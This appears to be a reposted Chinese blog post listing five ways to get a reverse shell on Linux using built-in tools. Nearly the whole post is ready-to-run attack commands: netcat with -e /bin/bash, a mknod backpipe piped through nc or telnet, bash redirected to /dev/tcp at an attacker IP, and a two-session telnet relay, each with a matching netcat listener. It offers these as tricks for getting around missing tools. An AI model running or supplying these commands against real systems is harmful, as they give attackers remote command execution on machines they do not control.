reverse shell的几种方式

2018-01-31 11:00:40来源:https://kevien.github.io/2018/01/30/reverse-shell的几种方式/作者:M0rk's Blog人点击

分享

这篇文章主要介绍一下几种通过linux内置工具得到reverse shell的几种方法。
linux(GNUx)有很多的发行版,不同的发现版之前的内置工具、安全机制等都有所不同。
下文中的几个例子一般在大多数的系统中是通用的。
这里主要重点关注一下4和5 场景
要求能够使用者能够在目标机器上运行一些基本的命令。 例子

下面的一些例子中使用A代表攻击者(Attacker),T代表Target(目标)

1.netcatnc <attacker_ip> <port> -e /bin/bash
# T
nc -n -vv -l -p <port>
# A

现在的netcat版本可能没有-e参数。

2.netcat -e被禁用或者没有-e参数
那么可以使用下面的命令 mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe# T
nc -n -vv -l -p <port>
# A


3.不使用netcat
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1# T
nc -n -vv -l -p <port>
# A

这个也是大多数人用的方式,这种方式使用了/dev/tcp套接字的编程特性,重定向/bin/bash到远程系统 4.不使用netcat和/dev/tcpmknod backpipe p && telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
# T
nc -n -vv -l -p <port>
# A


使用telnet代替nc 5.telnet to telnettelnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port> # T
nc -n -vv -l -p <1st_port>
# A1
nc -n -vv -l -p <2nd_port>
# A2


这第五个其实挺有意思的。这里用了两个telnet的会话去连接到了远程的ip,其中第一个会话用来输入命令,第二个会话用来显示命令执行后的结果 6.还有什么其它的方法?小结
这里只是一些小技巧,我希望在我们遇到比如某些命令在某个系统中不能使用的时候,或许我们可以发现并使用其它的方式,可以达到同样的效果,而不是在一棵树上吊死 参考
Spawning reverse shells

微信扫一扫

第七城市微信公众平台